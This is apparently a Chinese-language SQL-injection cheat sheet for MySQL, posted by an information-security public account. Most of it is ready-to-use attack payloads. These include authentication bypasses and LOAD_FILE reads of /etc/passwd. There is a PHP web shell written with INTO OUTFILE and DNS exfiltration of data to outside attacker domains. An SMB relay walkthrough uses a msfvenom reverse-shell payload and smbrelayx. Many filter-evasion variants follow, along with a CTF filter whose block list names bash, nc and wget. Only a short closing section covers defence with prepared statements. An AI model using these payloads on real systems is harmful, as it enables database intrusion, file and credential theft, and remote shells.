信息安全公益宣傳,信息安全知識啟蒙。
加微信群回復公眾號:微信群;QQ群:16004488
加微信群或QQ群可免費索取:學習教程
注入常用函數與字符
下面幾點是注入中經常會用到的語句
控制語句操作(select, case, if(), ...)
比較操作(=, like, mod(), ...)
字符串的猜解操作(mid(), left(), rpad(), …)
字符串生成操作(0x61, hex(), conv()(使用conv([10-36],10,36)可以實現所有字符的表示))
測試注入
可以用以下語句對一個可能的注入點進行測試
注釋符
以下是Mysql中可以用到的注釋符:
Examples:
1
2
SELECT * FROM Users WHERE username = '' OR 1=1 -- -' AND password = '';
SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3`';
版本&主機名&用戶&庫名
表和欄位
確定欄位數
ORDER BY
ORDER BY用於判斷表中的欄位個數
SELECT ... INTO
關於SELECT ... INTO 的解釋可以看這一篇文章SELECT ... INTO解釋
當出現LIMIT時可以用以下語句:
1
SELECT username FROM Users limit 1,{INJECTION POINT};
判斷已知表名的欄位數
1
2
AND (SELECT * FROM SOME_EXISTING_TABLE) = 1
SELECT passwd FROM Users WHERE id = {INJECTION POINT};
查表名
以下提過幾種方式對庫中表進行查詢
查列名
以下提過幾種方式對表中列進行查詢
字符串連接
下面的幾條語句都可以用以連接字符
條件語句&時間函數
其中BENCHMARK函數是指執行某函數的次數,次數多時能夠達到與sleep函數相同的效果
文件操作
文件操作權限
在MySQL中,存在一個稱為secure_file_priv的全局系統變量。 該變量用於限制數據的導入和導出操作,例如SELECT … INTO OUTFILE語句和LOAD_FILE()
如果secure_file_priv變量為空那麼直接可以使用函數,如果為null是不能使用
但在mysql的5.5.53之前的版本是默認為空,之後的版本為null,所有是將這個功能禁掉了
也可使用如下語句查詢
讀文件
讀文件函數LOAD_FILE()
Examples:
1
2
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE(0x2F6574632F706173737764);
注意點:
1. LOAD_FILE的默認目錄@@datadir
2. 文件必須是當前用戶可讀
3. 讀文件最大的為1047552個byte, @@max_allowed_packet可以查看文件讀取最大值
寫文件
INTO OUTFILE/DUMPFILE
經典寫文件例子:
To write a PHP shell:
1
SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';
這兩個函數都可以寫文件,但是有很大的差別
INTO OUTFILE函數寫文件時會在每一行的結束自動加上換行符
INTO DUMPFILE函數在寫文件會保持文件得到原生內容,這種方式對於二進位文件是最好的選擇
當我們在UDF提權的場景是需要上傳二進位文件等等用OUTFILE函數是不能成功的
網上有很多文章介紹,比如這篇
注意點:
1. INTO OUTFILE不會覆蓋文件
2. INTO OUTFILE必須是查詢語句的最後一句
3. 路徑名是不能編碼的,必須使用單引號
帶外通道
關於帶外通道的注入前段時間國外的大佬已經總結過了,我基本復現了一下,博客有文章,這裡簡單提一下
什麼是帶外通道注入?
帶外通道攻擊主要是利用其他協議或者渠道從伺服器提取數據. 它可能是HTTP(S)請求,DNS解析服務,SMB服務,Mail服務等.
條件限制
首先不用多說,這些函數是需要絕對路徑的
如果secure_file_priv變量為空那麼直接可以使用函數,如果為null是不能使用
但在mysql的5.5.53之前的版本是默認為空,之後的版本為null,所有是將這個功能禁掉了
DNS注入
1
2
select load_file(concat('\\\\',version(),'.rootclay.club\\clay.txt'));
select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874));
上面的語句執行的結果我們可以通過wireshark抓包看一下,過濾一下DNS協議即可清晰看到數據出去的樣子,如下圖
進行DNS注入需要域名解析,自己有的話最好,但是沒有的朋友也沒事,這裡推薦一個網站CEYE可以查看數據
SMB Relay 注入攻擊
What is SMB relay
這裡簡單的描述一下SMB relay這個過程
假設有主機B與A
(1) A向B發起連接請求
(2) B向A發送挑戰(一組隨機數據,8位元組)
(3) A用源自明文口令的DESKEY對挑戰進行標準DES加密得到響應,並發往B
(4) B從SAM中獲取A的LM Hash、NTLM Hash,計算出DESKEY,並對前面發往A的挑戰進
行標準DES加密
(5) 如果(4)中計算結果與A送過來的響應匹配,A被允許訪問B
現在假設一個攻擊者C捲入其中
(1) C向B發起連接請求
(2) B向C發送挑戰D(一組隨機數據)
(3) C等待A向B發起連接請求
(4) 當A向B發起連接請求時,C偽造成B向A發送挑戰D
(5) A用源自明文口令的DESKEY對挑戰D進行標準DES加密得到響應E,並發往B
(6) C截獲到響應E,將它做為針對(2)中挑戰D的響應發往B,並聲稱自己是A
(7) B從SAM中獲取A的LM Hash、NTLM Hash,計算出DESKEY,並對挑戰D進行標準DES
加密
(8) 如果(7)中計算結果與C送過來的響應匹配,C被允許以A的身份訪問B。
攻擊流程
關於SMB relay攻擊竊取NTML與shell請看這篇文章SMB Relay Demystified and NTLMv2 Pwnage with Python
整理了一下實際操作的步驟如下:
1. 首先生成一個反向shell:
1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻擊機ip LPORT=攻擊機監聽埠 -f exe > reverse_shell.exe
2. 運行smbrelayx,指定被攻擊者和生成的反向shell,等待連接。
smbrelayx.py -h 被攻擊者ip -e 反向shell文件位置
3. 使用模塊multi/handler。偵聽攻擊機ip,攻擊機監聽埠
4. 在MySQL Server上運行如下的代碼,則會產生shell。相當於訪問攻擊機的smb服務,但實際上是竊取了mysql_server的身份
1
select load_file('\\攻擊機ip\aa');
繞過技巧
繞過單引號
大小寫繞過
1
?id=1+UnIoN+SeLecT+1,2,3--
替換繞過
1
?id=1+UNunionION+SEselectLECT+1,2,3--
注釋繞過
1
?id=1+un/**/ion+se/**/lect+1,2,3--
特殊嵌入繞過
1
?id=1/*!UnIoN*/SeLecT+1,2,3--
寬字節注入
SQL注入中的寬字節國內最常使用的gbk編碼,這種方式主要是繞過addslashes等對特殊字符進行轉移的繞過。反斜槓()的十六進位為%5c,在你輸入%bf%27時,函數遇到單引號自動轉移加入\,此時變為%bf%5c%27,%bf%5c在gbk中變為一個寬字符「縗」。%bf那個位置可以是%81-%fe中間的任何字符。不止在sql注入中,寬字符注入在很多地方都可以應用。
MySQL版本號字符
Examples:
1
<span style="font-family: 微軟雅黑, "Microsoft YaHei";">UNION SELECT /*!50000 5,null;%00*//*!40000 4,null-- ,*//*!30000 3,null-- x*/0,null--+<br>SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);</span>
這樣的查詢語句是可以執行的,我理解為類似Python中第一行注釋指定解析器一樣#!/bin/sh
對於小於或等於版本號的語句就會執行
例如目前的Mysql版本為5.7.17那麼/!50717/及其以下的語句即可執行
字符編碼繞過
前段時間看到ph師傅的博客是討論mysql字符編碼的文章,大概意思如下,原文在這裡
當出現有以下代碼時,指設置了字符編碼為utf-8,但並不是全部為utf-8,而在具體的轉換過程中會出現意外的情況,具體可以看ph師傅的文章
1
$mysqli->query("set names utf8");
在sql查詢中
test.php?username=admin%e4中的%e4會被admin忽略掉而繞過了一些邏輯,還有一些類似於$e4這樣的字符如%c2等
繞空格
特殊字符繞過空格
Example:
1
'%0AUNION%0CSELECT%A0NULL%20%23
括號繞過空格
Example:
1
UNION(SELECT(column)FROM(table))
and/or後插入字符繞過空格
任意混合+ - ~ !可以達到繞過空格的效果(可以現在本地測試,混合後需要的奇偶數可能不同)
1
2
SELECT DISTINCT(db) FROM mysql.db WHERE `Host`='localhost' and-++-1=1;需要偶數個--
SELECT DISTINCT(db) FROM mysql.db WHERE `Host`='localhost' and!!~~~~!1=1;需要奇數個!
其實一下的字符都可以測試
注釋符&引號
1
2
SELECT DISTINCT(db) FROM mysql.db WHERE `Host`='localhost' and/**/1=1;
SELECT DISTINCT(db) FROM mysql.db WHERE `Host`='localhost' and"1=1";
編碼繞過
關鍵字繞過
測試用例information_schema.tables
認證繞過
繞過語句:'='
1
2
3
select data from users where name="="
select data from users where flase="
select data from users where 0=0
繞過語句:'-'
1
2
3
select data from users where name=''-''
select data from users where name=0-0
select data from users where 0=0
比如登錄的時候需要輸入email和passwd,可以這樣輸入
類型轉換
1
2
3
4
5
6
7
8
9
' or 1=true
' or 1
select * from users where 'a'='b'='c'
select * from users where ('a'='b')='c'
select * from users where (false)='c'
select * from users where (0)='c'
select * from users where (0)=0
select * from users where true
select * from users
我們還有關於此的漏洞,就以一次CTF的題目來說(源碼如下):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class fiter{
var $str;
var $order;
function sql_clean($str){
if(is_array($str)){
echo "<script> alert('not array!!@_@');parent.location.href='index.php'; </script>";exit;
}
$filter = "/ |\*|#|,|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."/i";
if(preg_match($filter,$str)){
echo "<script> alert('illegal character!!@_@');parent.location.href='index.php'; </script>";exit;
}else if(strrpos($str,urldecode("%00"))){
echo "<script> alert('illegal character!!@_@');parent.location.href='index.php'; </script>";exit;
}
return $this->str=$str;
}
function ord_clean($ord){
$filter = " |bash|perl|nc|java|php|>|>>|wget|ftp|python|sh";
if (preg_match("/".$filter."/i",$ord) == 1){
return $this->order = "";
}
return $this->order = $ord;
}
}
這裡過濾了很多關鍵詞了,需要用到類型轉換了,這裡我們用+號
Payload如下:
1
uname=aa'+(ascii(mid((passwd)from(1)))>0)+'1
執行的SQL語句如下:
1
xxxxxx where username = 'aa'+(ascii(mid((passwd)from(users)))>0)+'1'
這樣就可以開始寫腳本跑數據了
除了+號,其他算術操作符號也會發生類型的類型轉換,例如MOD,DIV,*,/,%,-,
關於隱式類型轉換的文章可以看這裡
HTTP參數汙染
當我們傳入的參數為
http://sqlinjection.com/?par1=val1&par1=val2
進入到不同的Web Server就可能得到不同的結果,這裡借鑑一下國外大佬一篇文章的總結,如下:
不同的web server的處理結果截然不同
實戰正則過濾繞過
防禦手段(代碼以PHP為例)
像WAF之類防禦手段自己無能為力經常打補丁就好,這裡主要提一下代碼層面的問題
推薦使用下面的方式進行查詢:
MYSQLi
1
2
3
$stmt = $db->prepare('update name set name = ? where id = ?');
$stmt->bind_param('si',$name,$id);
$stmt->execute();
ODBC
1
2
$stmt = odbc_prepare( $conn, 'SELECT * FROM users WHERE email = ?' );
$success = odbc_execute( $stmt, array($email) );
或者
1
2
3
$dbh = odbc_exec($conn, 'SELECT * FROM users WHERE email = ?', array($email));
$sth = $dbh->prepare('SELECT * FROM users WHERE email = :email');
$sth->execute(array(':email' => $email));
PDO
1
2
3
4
5
6
7
8
$dbh = new PDO('mysql:dbname=testdb;host=127.0.0.1', $user, $password);
$stmt = $dbh->prepare('INSERT INTO REGISTRY (name, value) VALUES (:name, :value)');
$stmt->bindParam(':name', $name);
$stmt->bindParam(':value', $value);
// insert one row
$name = 'one';
$value = 1;
$stmt->execute();
或者
1
2
3
$dbh = new PDO('mysql:dbname=testdb;host=127.0.0.1', $user, $password);
$stmt = $dbh->prepare('UPDATE people SET name = :new_name WHERE id = :id');
$stmt->execute( array('new_name' => $name, 'id' => $id) );
框架
對於框架的話只要遵循框架的API就好,例如wp的查詢
1
2
3
4
5
6
global $wpdb;
$wpdb->query(
$wpdb->prepare( 'SELECT name FROM people WHERE id = %d OR email = %s',
$person_id, $person_email
)
);
或者
1
2
3
4
5
6
7
8
global $wpdb;
$wpdb->insert( 'people',
array(
'person_id' => '123',
'person_email' => 'bobby@tables.com'
),
array( '%d', '%s' )
);
▼ 點擊閱讀原文,查看更多精彩文章。